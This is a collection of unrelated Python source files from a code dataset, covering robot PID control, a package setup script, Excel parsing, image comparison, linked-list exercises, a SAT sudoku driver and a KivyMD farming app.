0\r\n\r\nP = 0\r\nI = 0\r\nD = 0\r\nPC = 0\r\nDC = 0\r\nIC = 0\r\ne_prev = 0\r\neC_prev = 0\r\n\r\n# --------------------------------\r\n# Hardware initialization\r\n# --------------------------------\r\nBP.offset_motor_encoder(BP.PORT_A, BP.get_motor_encoder(BP.PORT_A) )\r\nBP.set_sensor_type(BP.PORT_1, BP.SENSOR_TYPE.TOUCH)\r\nBP.set_motor_limits(BP.PORT_A, power=50, dps=200)\r\n\r\n# ---------------------------------------------------------\r\n# Control loop -- run infinitely until a keyboard interrupt\r\n# ---------------------------------------------------------\r\ntry:\r\n while True:\r\n US = grovepi.digitalRead(us_port)\r\n print('Ultrasonic is ' + str(US))\r\n \r\n current_pos = BP.get_motor_encoder(BP.PORT_B)\r\n #print(\"current position: \" + str(current_pos) )\r\n e = target_pos - current_pos # error\r\n print(\"error of B is \" + str(e))\r\n\r\n # set up P,I,D, terms for control inputs\r\n P = KP * e\r\n I += KI * e * dT/2\r\n D = KD * (e - e_prev)/ dT\r\n\r\n # control input for motor\r\n power_in = P + I + D\r\n BP.set_motor_power(BP.PORT_B, power_in)\r\n # save error for this step; needed for D\r\n e_prev = e\r\n\r\n currentC = BP.get_motor_encoder(BP.PORT_C)\r\n eC = targetC - currentC # error\r\n print(\"error of C is \" + str(eC))\r\n PC = KP * eC\r\n IC += KI * eC * dT/2\r\n DC = KD * (eC - eC_prev)/ dT\r\n powerC = PC + IC + DC\r\n BP.set_motor_power(BP.PORT_C, powerC)\r\n eC_prev = eC\r\n\r\n \r\n time.sleep(dT)\r\n\r\n# ---------------------------------------------------------------------\r\n# If a problem occurse with the while or an interrupt from the keyboard\r\n# ---------------------------------------------------------------------\r\nexcept KeyboardInterrupt: # except the program gets interrupted by Ctrl+C on the keyboard.\r\n print('You pressed ctrl+c..')\r\n BP.set_motor_power(BP.PORT_B, 0)\r\n BP.set_motor_power(BP.PORT_C, 0) \r\n BP.reset_all() \r\n","sub_path":"FeedbackControl_UltraSonic_DC.py","file_name":"FeedbackControl_UltraSonic_DC.py","file_ext":"py","file_size_in_byte":2608,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"190121754","text":"import sys\nfrom setuptools import setup\n\ndef main():\n install_list = ['future', 'requests']\n # Only install functools32 if we're in Python 2 (it's not available\n # for Python 3)\n if sys.version_info[0] == 2:\n install_list.append('functools32')\n\n setup(name='protmapper',\n version='0.0.1',\n description='Map protein sites to human reference sequence.',\n long_description=('The protmapper is a tool to map inconsistent '\n 'protein sites (i.e., not matching the human '\n 'reference sequence) found in PTM databases and '\n 'the scientific literature to corresponding '\n 'positions on the human reference sequence.'),\n author='John A. Bachman',\n author_email='john_bachman@hms.harvard.edu',\n url='https://github.com/indralab/protmapper',\n classifiers=[\n 'Development Status :: 4 - Beta',\n 'Environment :: Console',\n 'Intended Audience :: Science/Research',\n 'License :: OSI Approved :: BSD License',\n 'Operating System :: OS Independent',\n 'Programming Language :: Python :: 2',\n 'Programming Language :: Python :: 3',\n 'Topic :: Scientific/Engineering :: Bio-Informatics',\n ],\n keywords=['protein', 'proteomics', 'sequence', 'alignment',\n 'assembly', 'post-translational', 'modification'],\n #project_urls={'Documentation': 'https://protmapper.readthedocs.io'},\n packages=['protmapper'],\n install_requires=install_list,\n tests_require=['nose'],\n include_package_data=True,\n )\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1783,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"398696586","text":"# Reading an excel file using Python\nimport xlrd,datetime\n\n# Give the location of the file\nfileLocation = (\"./Cumulative+returns+Dec+2018.xlsx\")\n\n# To open Workbook\nworkbook = xlrd.open_workbook(fileLocation)\nsheet = workbook.sheet_by_index(0)\n\ndateRange = []\ncapPreservationData = []\n\nflag3Months = False\nflag6Months = False\nflag12Months = False\nflagInception = False\n\ncapPreserve3Months = []\ncapPreserve6Months = []\ncapPreserve12Months = []\ncapPreserveInception = []\n\n# list of functions\\\ndef convertFloatToDate(cellValue):\n date = datetime.datetime(*xlrd.xldate_as_tuple(cellValue, workbook.datemode))\n day = date.strftime('%d')\n month = int(date.strftime('%m'),10)-1\n year = date.strftime('%Y')\n newDateString = '[new Date('+year+','+str(month)+','+day+')],'\n return newDateString\n\ndef addToDateArray(cellValue):\n if cellValue < 70000.0 and cellValue > 10000.0:\n convertedDate = convertFloatToDate(cellValue)\n dateRange.append(convertedDate)\n return\n\ndef getCapPreservationData(cellValue, columns, rows, flag3Months,flag6Months,flag12Months,flagInception):\n if str(cellValue).strip() == \"Capital Preservation\":\n print('this function is getting called and working')\n for currentCol in range(columns, columns+5):\n for currentRow in range(rows, rows+40):\n data = extractData(currentCol, currentRow)\n if str(data).strip() == \"3 mo\" or flag3Months == True:\n flag3Months = True\n flag6Months = False\n flag12Months = False\n flagInception = False\n print('flag 3months was changed to trueeeeeee')\n if isinstance(data,float) and data > 70000.0:\n print('appending data to 3 months')\n capPreserve3Months.append(int(round(data)))\n if len(capPreserve3Months) == 4:\n flag3Months = False\n elif str(data).strip() == \"6 mo\" or flag6Months == True:\n flag3Months = False\n flag6Months = True\n flag12Months = False\n flagInception = False\n print('flag 6months was changed to trueeeeeee')\n if isinstance(data,float) and data > 70000.0:\n print('appending data to 6 months')\n capPreserve6Months.append(int(round(data)))\n if len(capPreserve6Months) == 7:\n flag6Months = False\n elif str(data).strip() == \"1 Yr\" or flag12Months == True:\n flag3Months = False\n flag6Months = False\n flag12Months = True\n flagInception = False\n print('flag 12months was changed to trueeeeeee')\n if isinstance(data,float) and data > 70000.0:\n print('appending data to 12 months')\n capPreserve12Months.append(int(round(data)))\n if len(capPreserve12Months) == 13:\n flag12Months = False\n elif str(data).strip() == \"Since Inception\" or flagInception == True:\n flag3Months = False\n flag6Months = False\n flag12Months = False\n flagInception = True\n print('flag sinceinception was changed to trueeeeeee')\n if isinstance(data,float) and data > 70000.0:\n print('appending data to since inception')\n capPreserveInception.append(int(round(data)))\n if len(capPreserveInception) == 36:\n flagInception = False\n\ndef extractData(x,y):\n cellValue = sheet.cell_value(y,x)\n return cellValue\n\n\n# reading all 26 columns\nfor columns in range(0,26):\n print('*******************************************************************'+str(columns))\n # reading all 40 rows\n for rows in range(0, 50):\n try:\n cellValue = extractData(columns,rows)\n addToDateArray(cellValue)\n getCapPreservationData(cellValue, columns, rows,False,False,False,False)\n except Exception as error:\n print('Caught Error: ' + repr(error))\n\nprint(dateRange)\n\nprint('*******************capPreserve3Months**************************')\nprint(capPreserve3Months)\nprint('*******************capPreserve6Months**************************')\nprint(capPreserve6Months)\nprint('*******************capPreserve12Months**************************')\nprint(capPreserve12Months)\nprint('*******************capPreserveInception**************************')\nprint(capPreserveInception)\n\n# Writing results to text file\nfileObj = open(r\"results.txt\",\"w+\")\nfor i in range(0,len(dateRange)):\n fileObj.write(dateRange[i]+'\\n')\nfileObj.close()\n","sub_path":"reader.py","file_name":"reader.py","file_ext":"py","file_size_in_byte":4930,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"122701458","text":"import datetime\nimport os\nimport uuid\n\nimport numpy as np\n\nfrom skimage.measure import compare_ssim\n\nSUMMARY_WIDTH = 50\nSUMMARY_SIZE = SUMMARY_WIDTH*SUMMARY_WIDTH\nSUMMARY_SIZE_TRUNC = SUMMARY_SIZE-SUMMARY_WIDTH\nHIST_DENOMINATOR = SUMMARY_SIZE*2\n\n# todo: ensure this is the same as quantize image num_colours parameter\nIMAGE_SIM_QUANTIZED_NUM_COLOURS = os.environ.get('PNG_QUANT_NUM_COLOURS', 16)\n\n\nclass ImageRect(object):\n\n def __init__(self, rect, context):\n\n # should really check x_end, y_end\n if rect['x'] < 0 or rect['y'] < 0 or rect['height'] == 0 or rect['width'] == 0:\n self.dummy = True\n return\n self.dummy = False\n\n #self.outer_html = outer_html\n\n self.imageQ = context['screenshotQ_obj']\n self.image = context['screenshot_obj']\n\n self.rect = rect\n self.width, self.height = int(rect['width']), int(rect['height'])\n self.area = self.width * self.height # todo: temporary\n self.box = (\n rect['x'], rect['y'], rect['x'] + rect['width'],\n rect['y'] + rect['height']\n )\n\n self.rect_Qimg_orig = self.imageQ.crop(self.box)\n\n self.rect_img_grey = self.image.crop(self.box).convert('L')\n\n self.rect_img = self.rect_Qimg_orig.resize(\n (SUMMARY_WIDTH, SUMMARY_WIDTH), resample=3\n )\n self.histogram = np.array(self.rect_img.histogram()[:IMAGE_SIM_QUANTIZED_NUM_COLOURS])\n\n self.pixels = np.array(self.rect_img)\n # NOTE: necessary because the algorithms were writen for a 1d array\n self.pixels = self.pixels.reshape((2500,))\n\n self.pixels_50_offset = self.pixels[50:]\n self.pixels_truncated = self.pixels[:-50]\n\n # self.image_rgb = self.image.convert('RGB')\n # self.imageQ_rgb = self.imageQ.convert('RGB')\n #\n # if self._is_photo():\n # self.show(); other.show()\n # import pdb; pdb.set_trace()\n\n def show(self):\n if self.dummy:\n print('cannot show dummy image')\n return\n self.rect_Qimg_orig.show()\n\n def _compare_summaries(self, other):\n\n matches1 = np.sum(self.pixels == other.pixels)\n ans1 = 1 - (matches1 / SUMMARY_SIZE)\n\n matches2 = np.sum(self.pixels_50_offset == other.pixels_truncated)\n ans2 = 1 - (matches2 / SUMMARY_SIZE_TRUNC)\n\n matches3 = np.sum(self.pixels_truncated == other.pixels_50_offset)\n ans3 = 1 - (matches3 / SUMMARY_SIZE_TRUNC)\n\n ans = (ans1 * 0.5) + (ans2 * 0.25) + (ans3 * 0.25)\n\n if ans > 1:\n import pdb; pdb.set_trace()\n\n return ans\n\n def _hist_difference(self, other):\n ans = sum(np.absolute(self.histogram - other.histogram)) / HIST_DENOMINATOR\n return min(1, ans)\n\n '''\n # no longer needed, gives almost exactly same result at _hist_difference but \n # takes twice as long to execute\n def _hist_intersection(self, other):\n minima = np.minimum(self.histogram, other.histogram)\n intersection = np.true_divide(np.sum(minima), np.sum(other.histogram))\n return 1 - intersection\n '''\n\n def _get_num_misses_factor(self, other): # todo: is the strength of this signal affected by the number of colours?\n hist1 = self.histogram\n hist2 = other.histogram\n num_misses = 0\n\n def miss_val(val1, val2):\n mn_val, mx_val = min(val1, val2), max(val1, val2)\n if mx_val / (mn_val or 0.1) > 3.6:\n return 0.6\n if mx_val - mn_val > 850:\n return 1\n if mx_val > 180 and mn_val < 22:\n return 1\n return 0\n\n for i in range(10):\n num_misses += miss_val(hist1[i], hist2[i])\n\n if num_misses > 3.85:\n return 1.5\n elif num_misses > 2.2:\n return 1.25\n elif num_misses < 0.6:\n return 0.48\n elif num_misses < 1.3:\n return 0.6\n\n return None\n\n def _get_dimensions_factor(self, other):\n if abs(self.height-other.height) < 3 and abs(self.width-other.width) < 3:\n if self.height == other.height:\n if self.width == other.width:\n return 0.9\n return 0.93\n return 0.97\n return None\n\n def save_crop(self, dir):\n if not os.path.exists(dir):\n os.makedirs(dir)\n crop = self.imageQ.copy().crop(self.box)\n path = os.path.join(dir, uuid.uuid4().hex+'.png')\n crop.save(path)\n return path\n\n def _is_photo(self):\n\n if self.dummy or self.area < 3000:\n return False\n if ' 0:\n ratio = max(self.area, other.area) / min_area\n if ratio > 2.4:\n avg *= 1.15\n elif ratio > 2.85:\n return 1\n\n return min(1, avg)\n\n def _compare_structure(self, other):\n\n # todo: check performance penalty of this function\n # the only time we hit a signal is when the size is similar\n # and\n if self.dummy or other.dummy:\n return None\n\n def do_comparison():\n\n self_img = self.rect_img_grey\n other_img = other.rect_img_grey\n\n width1, width2 = self_img.width, other_img.width\n height1, height2 = self_img.height, other_img.height # len(self_img), len(other_img)\n\n if width1 < 7 or width2 < 7 or height1 < 7 or height2 < 7:\n # compare_ssim won't work with images smaller than 7\n return None\n\n if width1 != width2 or height1 != height2:\n min_height = min(height1, height2)\n min_width = min(width1, width2)\n crop_box = (0, 0, min_width, min_height)\n\n self_img = self_img.crop(crop_box)\n other_img = other_img.crop(crop_box)\n\n # min_width = min(self.width, other.width)\n # min_height = min(self.height, other.height)\n #\n # if self.width == other.width and self.height == other.height:\n # self_img = self.rect_img_grey\n # other_img = other.rect_img_grey\n # else:\n # crop_box = (0, 0, min_width, min_height)\n #\n # self_img = self.rect_img_grey.crop(crop_box)\n # other_img = other.rect_img_grey.crop(crop_box)\n\n self_img = np.array(self_img)\n other_img = np.array(other_img)\n try:\n ans = compare_ssim(self_img, other_img)\n except:\n import pdb; pdb.set_trace()\n print()\n\n return 1-ans\n\n widths_same = abs(self.width - other.width) == 0\n heights_same = abs(self.height - other.height) == 0\n\n widths_similar = abs(self.width-other.width) < 5\n heights_similar = abs(self.height-other.height) < 5\n\n if widths_similar and heights_similar:\n return do_comparison()\n\n if widths_similar:\n if abs(self.height-other.height) < 11:\n return do_comparison()\n if widths_same:\n if abs(self.height-other.height) < 17:\n return do_comparison()\n if heights_similar:\n if abs(self.width-other.width) < 11:\n return do_comparison()\n if heights_same:\n if abs(self.width-other.width) < 17:\n return do_comparison()\n return None\n\n def compare(self, other):\n colours_sim = self._compare_colours(other)\n\n if colours_sim < 0.25:\n return 0\n\n structure_sim = self._compare_structure(other)\n\n #todo: skip comparison when sizes are very different (output 0.75?)\n #todo: check for same size and is_photo\n\n if structure_sim is not None:\n\n if structure_sim < 0.27:\n return 0\n\n if abs(structure_sim-colours_sim) < 0.12:\n avg_sim = (structure_sim+colours_sim) / 2\n if avg_sim < 0.5:\n return 0\n\n if structure_sim < 0.35 and colours_sim > 0.5:\n return 0.5\n\n if structure_sim < 0.3 and colours_sim < 0.5:\n return 0\n\n if structure_sim > 0.7:\n return 1\n\n return 0.5\n\n if colours_sim < 0.4:\n return 0.25\n if colours_sim < 0.6:\n return 0.5\n\n return 1\n","sub_path":"visual_webscraper/visual/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":9807,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"585380594","text":"class ListNode:\n def __init__(self, x):\n self.val = x\n self.next = None\n\nclass ClearValue:\n def clear(self, head, val):\n p = ListNode(-1)\n head = p\n cur = oldhead\n p.next = cur\n while (cur is not None):\n if cur.val == val:\n p.next = cur.next\n else:\n p = cur\n cur = cur.next\n return head.next\n\n","sub_path":"nowcoder/linkedList/clearValue.py","file_name":"clearValue.py","file_ext":"py","file_size_in_byte":418,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"569378407","text":"from config import COMMENT_MARK\n\n\ndef collect_records_under_nests(records=None):\n control = {}\n\n for record in records:\n control.setdefault(record.nest, []).append(record)\n return control\n\n\ndef _build_tree_iter(input_):\n swapping_g = {}\n for nest in sorted(list(input_)):\n nest_ = nest.split(':')\n _update_with_nest_inplace(swapping_g, nest_, input_, nest)\n return swapping_g\n\n\ndef _update_with_nest_inplace(subtree, nest, input_, original_path):\n nest_count = len(nest)\n for idx in range(nest_count):\n current_nest = nest[idx]\n if current_nest not in subtree:\n subtree.update({current_nest: {\"__notes__\": []}})\n\n if idx == nest_count - 1:\n notes = input_[original_path][:]\n subtree[current_nest]['__notes__'] = notes\n subtree = subtree[current_nest]\n\n\ndef _horizontal_rule(init, last, indent):\n res = last\n if init:\n init_tail = init[-1]\n n = len(init_tail) - 1\n res = indent + '+' + n * '-' + last\n\n return res\n\n\ndef _compose_indent(categories, delimiters, leaf=False):\n res = []\n for idx, delimiter in enumerate(delimiters):\n # if not first and not last\n if 0 < idx < len(categories):\n factor = len(categories[idx - 1])\n blank_line = ' ' * factor\n\n if delimiter == 0:\n res.append(blank_line)\n\n elif delimiter > 0:\n if leaf and delimiter == 1 and idx == len(categories) - 1:\n res.append(blank_line)\n else:\n res.append('|' + ' ' * (factor - 1))\n\n return ''.join(res)\n\n\ndef _print_indent(list_of_cats, subtree, delimiters):\n init, last = list_of_cats[:-1], list_of_cats[-1]\n res = [_horizontal_rule(init, last, _compose_indent(init, delimiters))]\n\n if subtree and '__notes__' in subtree:\n for item in subtree['__notes__']:\n string = \"{}* [{}] {} ({})\".format(\n _compose_indent(list_of_cats, delimiters, leaf=True),\n str(item.record.id),\n item.title.strip(), len(item.body.splitlines()))\n res.append(string)\n\n # adding blank line after block of leafs\n if subtree['__notes__']:\n string = _compose_indent(list_of_cats, delimiters, leaf=True)\n res.append(string)\n return res\n\n\ndef _update_delimiters(delimiters, name, num_of_children):\n delimiters_len = len(delimiters)\n nest_pos = len(name)\n # making \"inplace\" insert-expand\n if nest_pos >= delimiters_len:\n delimiters.extend([0] * (nest_pos - delimiters_len + 1))\n # setting number of children of current nest level\n delimiters[nest_pos] = num_of_children\n # decrement number of children of previous nest level\n delimiters[nest_pos - 1] = max(0, delimiters[nest_pos - 1] - 1)\n return delimiters\n\n\ndef build_tree_repr(input_, comment=False):\n tree = _build_tree_iter(input_)\n stack = [tree]\n name_stack = [[]]\n delimiters = []\n result = []\n while stack:\n subtree = stack.pop()\n name = name_stack.pop()\n notes = subtree.pop('__notes__', [])\n children = sorted(subtree.keys(), reverse=True)\n num_of_children = len(children)\n\n if name:\n subtree['__notes__'] = notes\n result.extend(_print_indent(name, subtree, delimiters))\n delimiters = _update_delimiters(delimiters, name, num_of_children)\n\n for node_name in children:\n if isinstance(subtree[node_name], dict):\n stack.append(subtree[node_name])\n v = name[:]\n v.append(node_name)\n name_stack.append(v)\n\n pre_stroke_chars = (COMMENT_MARK if comment else '') + ' '\n\n result = [pre_stroke_chars + i for i in result]\n return '\\n'.join(result)\n\n\ndef nest_tree(records=None, comment=False):\n control = collect_records_under_nests(records)\n tree_str = build_tree_repr(control, comment)\n return tree_str\n","sub_path":"owl/nest_tree.py","file_name":"nest_tree.py","file_ext":"py","file_size_in_byte":4017,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"483031735","text":"# Copyright (C) 2019 GreenWaves Technologies\n# All rights reserved.\n\n# This software may be modified and distributed under the terms\n# of the BSD license. See the LICENSE file for details.\n\nfrom collections import namedtuple\n\n# int TileOrientation;\t/* Set Tiling orientation TILE_HOR TILE_VER */\n# int ParallelFeatures;\t/* Parallelize along channels */\n# int ForceDPconv;\t/* Forces double precision convolution*/\n# int UseHwCE;\t\t/* Enable HW CE */\n# AT_PadType PadType;\t/* Control padding strategy */\n# int EnableIm2Col;\t/* Enable mat mul based convolution when feasible */\n# int ReluN;\t\t/* if != -1 Overides 6 as a default value for ReLUN */\n# int MulBiasScalar;\t/* if != -1 Overides default non scalar for MulBias convolutions */\n\nGenCtrl = namedtuple('GenCtrl', [\n \"TileOrientation\",\n \"ParallelFeatures\",\n \"ForceDPConv\",\n \"UseHwCE\",\n \"PadType\",\n \"EnableIm2Col\",\n \"ReluN\",\n \"MulBiasScalar\"\n])\n\ndef get_default_gen_ctrl():\n return GenCtrl(0, 0, 0, 0, 0, 0, -1, -1)\n\n# ConvOper: Type of convolution, Regular convolution: KOP_CONV,\n# Regular convolution with double precision output: KOP_CONV_DP,\n# Depth wise convolution: KOP_CONV_DW\n# GroupIn: Size of the group for input features\n# GroupOut: Size of the group for output features\n# Fcx: Convolution filter x dimension\n# Fcy: Convolution filter y dimension\n# Dcx: Convolution filter dilation factor, x dimension\n# Dcy: Convolution filter dilation factor, y dimension\n# Scx: Convolution filter stride x dimension\n# Scy: Convolution filter stride y dimension\n# ConvPad: 0: No padding, 1: Zero padding\n\nGroupedConvATParam = namedtuple('GroupedConvATParam', [\n \"ConvOper\",\n \"GroupIn\",\n \"GroupOut\",\n \"Fcx\",\n \"Fcy\",\n \"Dcx\",\n \"Dcy\",\n \"Scx\",\n \"Scy\",\n \"ConvPad\"\n])\n\n# ConvOper: Type of convolution, Regular convolution: KOP_CONV,\n# Regular convolution with double precision output: KOP_CONV_DP,\n# Depth wise convolution: KOP_CONV_DW\n# Fcx: Convolution filter x dimension\n# Fcy: Convolution filter y dimension\n# Dcx: Convolution filter dilation factor, x dimension\n# Dcy: Convolution filter dilation factor, y dimension\n# Scx: Convolution filter stride x dimension\n# Scy: Convolution filter stride y dimension\n# ConvPad: 0: No padding, 1: Zero padding\n\nConvATParam = namedtuple('ConvATParam', [\n \"ConvOper\",\n \"Fcx\",\n \"Fcy\",\n \"Dcx\",\n \"Dcy\",\n \"Scx\",\n \"Scy\",\n \"ConvPad\"\n])\n\nNO_CONV = ConvATParam(ConvOper='KOP_NONE', Fcx=0, Fcy=0, Dcx=0, Dcy=0, Scx=0, Scy=0, ConvPad=0)\n\n# PoolOper: Type of Pooling, Max Pooling: KOP_MAXPOOL, Average Pooling: KOP_AVGPOOL\n# Fpx: Pooling filter x dimension\n# Fpy: Pooling filter y dimension\n# Dpx: Pooling filter dilation factor, x dimension\n# Dpy: Pooling filter dilation factor, y dimension\n# Spx: Pooling filter stride x dimension\n# Spy: Pooling filter stride y dimension\n# PoolPad: 0: No padding, 1: Zero padding\n\nPoolATParam = namedtuple('PoolATParam', [\n \"PoolOper\",\n \"Fpx\",\n \"Fpy\",\n \"Dpx\",\n \"Dpy\",\n \"Spx\",\n \"Spy\",\n \"PoolPad\"\n])\n\nNO_POOL = PoolATParam(PoolOper='KOP_NONE', Fpx=0, Fpy=0, Dpx=0, Dpy=0, Spx=0, Spy=0, PoolPad=0)\n\nActivationATParam = namedtuple('ActivationATParam', [\n \"ReLUOper\"\n])\n\nNO_ACTIVATION = ActivationATParam(ReLUOper='KOP_NONE')\n\nLinearATParam = namedtuple('LinearATParam', [\n \"LinearOper\"\n])\n\nSoftMaxATParam = namedtuple('SoftMaxATParam', [\n \"SoftMaxOper\"\n])\n","sub_path":"tools/nntool/generation/kernel_parameters.py","file_name":"kernel_parameters.py","file_ext":"py","file_size_in_byte":3688,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"367168400","text":"import csv\n\n\ndef get_input():\n file_input = []\n with open(\"input\", \"r\") as csvfile:\n\n csvreader = csv.reader(csvfile, delimiter=\",\")\n\n for row in csvreader:\n for i in range(len(row)):\n file_input.append(int(row[i]))\n\n return file_input\n\n\ndef intcode(input):\n\n if input[0] == 99:\n index = 99\n else:\n index = 0\n\n while index != 99:\n\n if input[index] == 99:\n print(\"Hit code 99\")\n return input\n elif input[index] == 1:\n input[input[index+3]] = input[input[index+1]] + input[input[index+2]]\n elif input[index] == 2:\n input[input[index+3]] = input[input[index+1]] * input[input[index+2]]\n else:\n print(\"Error\")\n return input\n\n index += 4\n\n# Not Needed?\ndef noun_verb(num):\n for i in range(100):\n for j in range(100):\n input = get_input()\n input[1] = i\n input[2] = j\n intcode(input)\n result = input[0]\n if result == num:\n return i, j\n\nprint(noun_verb(19690720))\n\n\ninput = get_input()\n\ninput[1] = 20\ninput[2] = 3\nprint(intcode(input))\n","sub_path":"Day2/Day2.py","file_name":"Day2.py","file_ext":"py","file_size_in_byte":1192,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"652388855","text":"# 21 merge-two-sorted-lists/\n# Definition for singly-linked list.\n# class ListNode(object):\n# def __init__(self, x):\n# self.val = x\n# self.next = None\n\nclass Solution(object):\n def push(self,head, tail, t ):\n if t == None:\n return head, tail\n if head == None:\n head = tail = t\n else:\n tail.next = t\n tail = t\n return head, tail\n\n def mergeTwoLists(self, l1, l2):\n \"\"\"\n :type l1: ListNode\n :type l2: ListNode\n :rtype: ListNode\n \"\"\"\n head = tail = None\n\n while ( l1 != None and l2 != None ) :\n if l1.val < l2.val :\n t = l1\n l1 = l1.next\n\n else:\n t = l2\n l2 = l2.next\n t.next = None\n head, tail = self.push(head, tail, t )\n\n if l1 != None : head, tail =self.push(head, tail, l1)\n if l2 != None : head, tail =self.push(head, tail, l2)\n return head\n","sub_path":"21.py","file_name":"21.py","file_ext":"py","file_size_in_byte":1028,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"116658899","text":"\"\"\"\nAuthor: Zitong Wu\nDate: Oct 26, 2020\n\nDescription:\n Writes a general-purpose solver with GSAT and WALKSAT algorithms\n for propositional logic satisfiability problems. To test the solver, \n sudoku logic puzzles are turned into conjunctive normal forms (CNF)\n and are thus modeled as satisfiability problems. Note that sudoku\n puzzles are used as an example here. GSAT and WALKSAT algorithms \n can be applied to other satisfiability problems as well. \n \nThis script: Implements the main program of the sudoku solver (provided code)\n\n\"\"\"\n\nfrom display import display_sudoku_solution\nimport random, sys\nfrom SAT import SAT\n\nif __name__ == \"__main__\":\n # for testing, always initialize the pseudorandom number generator to output the same sequence\n # of values:\n random.seed(1)\n\n puzzle_name = str(sys.argv[1][:-4])\n sol_filename = puzzle_name + \".sol\"\n\n sat = SAT(sys.argv[1])\n\n result = sat.gsat()\n\n if result:\n sat.write_solution(sol_filename)\n display_sudoku_solution(sol_filename)","sub_path":"solve_sudoku.py","file_name":"solve_sudoku.py","file_ext":"py","file_size_in_byte":1044,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"559647926","text":"from kivymd.app import MDApp\r\nfrom kivy.lang.builder import Builder\r\nfrom kivy.uix.screenmanager import ScreenManager, Screen\r\nfrom kivymd.uix.button import MDFlatButton, MDRectangleFlatButton, MDFloatingActionButton, MDRaisedButton\r\n# from kivy.core.window import Window\r\nfrom kivymd.uix.dialog import MDDialog\r\n# from Helper import screen_helper\r\nfrom kivymd.uix.boxlayout import MDBoxLayout\r\n# from kivymd.uix.floatlayout import MDFloatLayout\r\n# from kivymd.uix.gridlayout import MDGridLayout\r\nfrom kivymd.uix.navigationdrawer import MDNavigationDrawer, NavigationLayout\r\nfrom kivy.core.window import Window\r\nfrom kivymd.theming import ThemableBehavior\r\nfrom kivymd.uix.list import MDList\r\n# from kivymd.toast import toast\r\nfrom kivy.uix.image import Image\r\nfrom kivy.uix.label import Label\r\nfrom kivy.uix.button import Button\r\nfrom kivy.uix.popup import Popup\r\nfrom kivy.uix.textinput import TextInput\r\nfrom kivy.core.window import Window\r\nimport time\r\nimport numpy as np\r\nimport keras\r\nfrom tensorflow.keras.preprocessing.image import img_to_array\r\nfrom tensorflow.keras.preprocessing.image import load_img\r\nfrom tensorflow.keras.applications.mobilenet_v2 import preprocess_input\r\nimport os\r\nimport glob\r\nimport shutil\r\n\r\nscreen_helper = \"\"\"\r\n\r\nScreenManager:\r\n MenuScreen:\r\n MDNavigationLayout:\r\n TomatoScreen:\r\n CottonScreen:\r\n RiceScreen:\r\n WheetScreen:\r\n #FileChooser:\r\n ModelScreen:\r\n CameraScreen:\r\n\r\n:\r\n name: \"Menu\"\r\n MDRaisedButton:\r\n text: \"Tomato\"\r\n pos_hint:{\"center_x\":0.5,\"center_y\":0.2}\r\n on_press: root.manager.current = \"Tomato\"\r\n MDRaisedButton:\r\n text: \"Cotton\"\r\n pos_hint:{\"center_x\":0.5,\"center_y\":0.4}\r\n on_press: root.manager.current = \"Cotton\"\r\n MDRaisedButton:\r\n text: \"Rice\"\r\n pos_hint:{\"center_x\":0.5,\"center_y\":0.6}\r\n on_press: root.manager.current = \"Rice\"\r\n MDRaisedButton:\r\n text: \"Wheat\"\r\n pos_hint:{\"center_x\":0.5,\"center_y\":0.8}\r\n on_press: root.manager.current = \"Wheet\"\r\n MDNavigationLayout:\r\n\r\n:\r\n name: \"navigation_layout\"\r\n ScreenManager:\r\n\r\n Screen:\r\n\r\n BoxLayout:\r\n orientation: 'vertical'\r\n\r\n MDToolbar:\r\n title: \"AgroApp\"\r\n elevation: 10\r\n left_action_items: [['menu', lambda x: nav_drawer.set_state(\"open\")]]\r\n on_action_button: app.callback(self.icon)\r\n\r\n Widget:\r\n\r\n\r\n MDNavigationDrawer:\r\n id: nav_drawer\r\n\r\n ContentNavigationDrawer:\r\n orientation: 'vertical'\r\n padding: \"8dp\"\r\n spacing: \"8dp\"\r\n\r\n Image:\r\n id:avatar\r\n size_hint: (1,1)\r\n source: \"IMG_20201231_220705164.jpg\"\r\n\r\n MDLabel:\r\n text: \"PVS Karthik\"\r\n halign: \"center\"\r\n font_style: \"Subtitle1\"\r\n size_hint_y: 0.10\r\n\r\n MDLabel:\r\n text: \"email: karthikpoluri962gmail.com\"\r\n halign: \"center\"\r\n font_style: \"Subtitle1\"\r\n size_hint_y: 0.10\r\n\r\n\r\n ScrollView:\r\n DrawerList:\r\n id: md_list\r\n\r\n MDList:\r\n OneLineIconListItem:\r\n text: \"Profile\"\r\n\r\n IconLeftWidget:\r\n icon: \"face-profile\"\r\n\r\n\r\n\r\n OneLineIconListItem:\r\n text: \"Upload\"\r\n\r\n IconLeftWidget:\r\n icon: \"upload\"\r\n\r\n\r\n OneLineIconListItem:\r\n text: \"Logout\"\r\n\r\n IconLeftWidget:\r\n icon: \"logout\"\r\n\r\n\r\n:\r\n name: \"Tomato\"\r\n MDRaisedButton:\r\n text: \"Upload\"\r\n pos_hint:{\"center_x\":0.5,\"center_y\":0.75}\r\n on_release: root.manager.current = \"model_screen\"\r\n MDRaisedButton:\r\n text: \"Camera\"\r\n pos_hint:{\"center_x\":0.5,\"center_y\":0.5}\r\n on_release: root.manager.current = \"camera_screen\"\r\n MDFloatingActionButton:\r\n text: \"back\"\r\n icon: \"arrow-collapse-left\"\r\n pos_hint:{\"center_x\":0.9,\"center_y\":0.1}\r\n on_release: root.manager.current = \"Menu\"\r\n MDNavigationLayout:\r\n:\r\n name: \"Cotton\"\r\n MDRaisedButton:\r\n text: \"Upload\"\r\n pos_hint:{\"center_x\":0.5,\"center_y\":0.75}\r\n on_release: root.manager.current = \"model_screen\"\r\n MDRaisedButton:\r\n 